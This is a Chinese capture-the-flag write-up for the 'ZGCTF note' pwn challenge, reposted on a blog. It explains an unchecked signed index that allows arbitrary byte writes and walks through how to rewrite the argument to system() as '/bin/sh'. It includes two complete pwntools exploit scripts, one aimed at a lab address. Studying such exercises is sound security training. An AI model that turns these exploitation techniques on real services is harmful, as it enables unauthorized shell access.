首页 > 其他分享 >ZGCTF_note

ZGCTF_note

时间:2023-04-27 19:44:55浏览次数:51  
标签:enter please ZGCTF tell note want sendlineafter options

这是一道很简单的的题,甚至都说不出来它有什么考点,如果非要说的话,可能需要对ida、gdb、栈不那么陌生吧。

查看保护

img

IDA静态分析

主函数是一个菜单,通过4008e3函数读入选项。

img

这个函数允许修改602120指定一字节的内容,并且只能执行两次。这是说正常情况下,仔细观察可以发现,v3为有符号整数,并且对于它的值也没有检查,也就是说我们可以利用这个漏洞更改任意位置的值。

img

说只能修改两次是因为这里存在一个计数器,在main函数的开头调用了400837把它赋值为1,也就是这个602150。img

这个函数允许向602120输入最大0x30个字节的内容

img

最后这个函数调用了system为我们打印了当前时间。

img

解题思路

先说一下我当时的解题思路,首先程序是不存在栈溢出的,而且开了canary,rop是不可能了。程序可以主动执行system函数,但是参数没什么用,由于存在一个函数可以让我任意修改bss段,就想到了先修改计数器,多次进行单字节修改,直到把system的data参数完全改为/bin/sh,再调用system去getshell。

EXP

from tools import *
p,elf,libc=load('note') 
context.log_level="debug"
#debug(p,0x04009F1)
#payload=b'9'#str(0x30).encode()=b'48'-->b'48\n'##b'0x30'-->b'0x30\n'##

#修改计数器,达到多次进行任意地址写的目的
p.sendlineafter("please tell me you options>>\n",str(2))
p.sendlineafter("please enter the location you want to modify\n",b'49')
p.sendafter("please enter what yo uare modifying\n",b'9')


#自定义一个函数,配合循环来一字节一字节地修改data为binsh
def atk(a,b):
    p.sendlineafter("please tell me you options>>\n",str(2))
    p.sendlineafter("please enter the location you want to modify\n",str(a))
    p.sendafter("please enter what yo uare modifying\n",str(b))
j="/bin/sh"; c=0;
i=-160 #这个160是602120和system参数的地址也就是602080之间的差值
while c<7:
    m=j[c]
    atk(i,m)
    c+=1
    i+=1
    
 #此时system函数参数已经被篡改,调用执行即可getshell。
p.sendlineafter("please tell me you options>>\n",str(4))
p.sendlineafter("Do you want to look at the time 1/yes 2/no\n",str(1))
p.interactive()

下面这个是我第一次的exp,循环和自定义都没使用,像个憨憨。贴上来纪念一下。

from tools import *
context(log_level="debug")
p=remote( "10.197.2.35",3010)
#p=process("./note")
#debug(p,0x400ACA)
#1
p.sendlineafter(b'please tell me you options>>\n',b'2')
p.sendlineafter(b'please enter the location you want to modify\n',b'49')
p.sendafter(b'please enter what yo uare modifying\n',b'9')
#2
p.sendlineafter(b'please tell me you options>>\n',b'2')
p.sendlineafter(b'please enter the location you want to modify\n',b'-160')
p.sendafter(b'please enter what yo uare modifying\n',b'/')

p.sendlineafter(b'please tell me you options>>\n',b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-159')
p.sendafter(b"please enter what yo uare modifying\n",b'b')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-158')
p.sendafter(b"please enter what yo uare modifying\n",b'i')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-157')
p.sendafter(b"please enter what yo uare modifying\n",b'n')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-156')
p.sendafter(b"please enter what yo uare modifying\n",b'/')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-155')
p.sendafter(b"please enter what yo uare modifying\n",b's')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-154')
p.sendafter(b"please enter what yo uare modifying\n",b'h')

p.sendlineafter(b"please tell me you options>>\n",b'4')
p.sendlineafter(b"Do you want to look at the time 1/yes 2/no\n",b'1')

p.interactive()         


官方WP还提到一种解法是篡改close函数got表,都是函数参数。明显是要比上面的方法复杂的。

题目附件

链接:https://pan.baidu.com/s/1MboEdt1y3_zBKbeN5_yXoQ
提取码:1234

标签:enter,please,ZGCTF,tell,note,want,sendlineafter,options
From: https://www.cnblogs.com/Sta8r9/p/17360057.html

相关文章

  • 火山引擎 DataLeap 下 Notebook 系列文章三:架构升级详解
    更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群当使用Notebook的项目日渐增加时,火山引擎DataLeap研发团队发现运行中的PaaS服务实在太多了,之前的架构有如下缺点:部署麻烦。全量升级JupyterLab较为痛苦。尽管有升级脚本,但是通过A......
  • Mac好用的文献管理软件-EndNote 20
    EndNote20是一款以强大功能为基础,以文献管理软件为核心的跨平台数据库管理系统。EndNote20具有强大的文献检索和处理功能,支持快速检索文本、文献和图像。可以通过一键下载安装到Mac/win,也可以在Windows上使用。EndNote20可以将文件管理和处理功能集成到一个单一文件夹中,便于......
  • git_note
    git常用操作命令:1.创建本地仓库,首先点进一个仓库文件夹,右键GitBashHere2.gitinit进入初始化,自动创建.git隐藏文件夹3.gitadd.意思是将文件夹里的所有文件放入暂存区4.gitcommit-m"阿巴阿巴"意思是进行提交,引号里的部分是对这次提交的备注5.git......
  • Replacing Windows Notepad with Notepad2 4.1.24 (or newer)
    ReplacingWindowsNotepadwithNotepad24.1.24(ornewer)Asofversion4.1.24,theofficialreleaseofNotepad2supportsthismethodforreplacingWindowsNotepad,sothestepsoutlinedabovewillworkfine.However,there'snosupporttoperformthe......
  • 在jupyter notebook中切换PY版本
    首先,确保已经成功安装完了Condacondaenvlist #查看当前已经创建的py环境condaactivatepaddle242#切换到需要使用的py环境pipinstallipykernel python-mipykernelinstall--user--name<PY的环境名称>--display-name<Jupyter的环境名称>example:python-mip......
  • Numerical Approximation Chapter 6 Notes
    Weierstrasstheoremapproximation之间也有高低,所以我们在compactsubset里面会有bestapproximation.但是以polynomialinterpolation为例,随着不断选更多的Chebyshevinterpolationpoints,对应的插值多项式次数越来越高的同时也会在插值点以外的地方越来越靠近函数本身。这种情......
  • Notepad 快捷键 大全
    Notepad快捷键大全 CtrlL 删除当前行CtrlT 当行向上移动一行F3 查找下一个ShiftF3 查找上一个CtrlShiftF 组合在文件中查找CtrlF3 查找(volatil)下一页CtrlShiftF3 查找(volatil)上一页CtrlShiftI 组合增量搜索CtrlS 保存文件CtrlAltS 另存为CtrlShiftS ......
  • python jupyter notebook使用
    安装:pipinstalljupyter 配置文件生成目录:jupyternotebook--generate-config ,生成默认配置文件到C:\Users\Administrator\.jupyter\jupyter_notebook_config.py运行:打开cmd命令提示符窗口输入jupyternotebook回车,然后浏览器就会打开Jupyternotebook。......
  • MachineLearningNote (sklearn 学习总结)---引用
    MachineLearningNote(sklearn学习总结)---引用: https://github.com/LeBron-Jian/MachineLearningNotePython机器学习笔记:sklearn库的学习地址:https://www.cnblogs.com/wj-1314/p/10179741.htmlPython机器学习笔记:使用sklearn做特征工程和数据挖掘地址:https://www.cnblog......
  • 火山引擎 DataLeap 下 Notebook 系列文章二:技术路线解析
    更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群在Jupyter的生态下,除了Notebook本身,火山引擎DataLeap研发团队还注意到了很多其他组件。彼时,JupyterLab正在逐渐取代传统的JupyterNotebook界面,成为新的标准。JupyterHub使用广泛,是......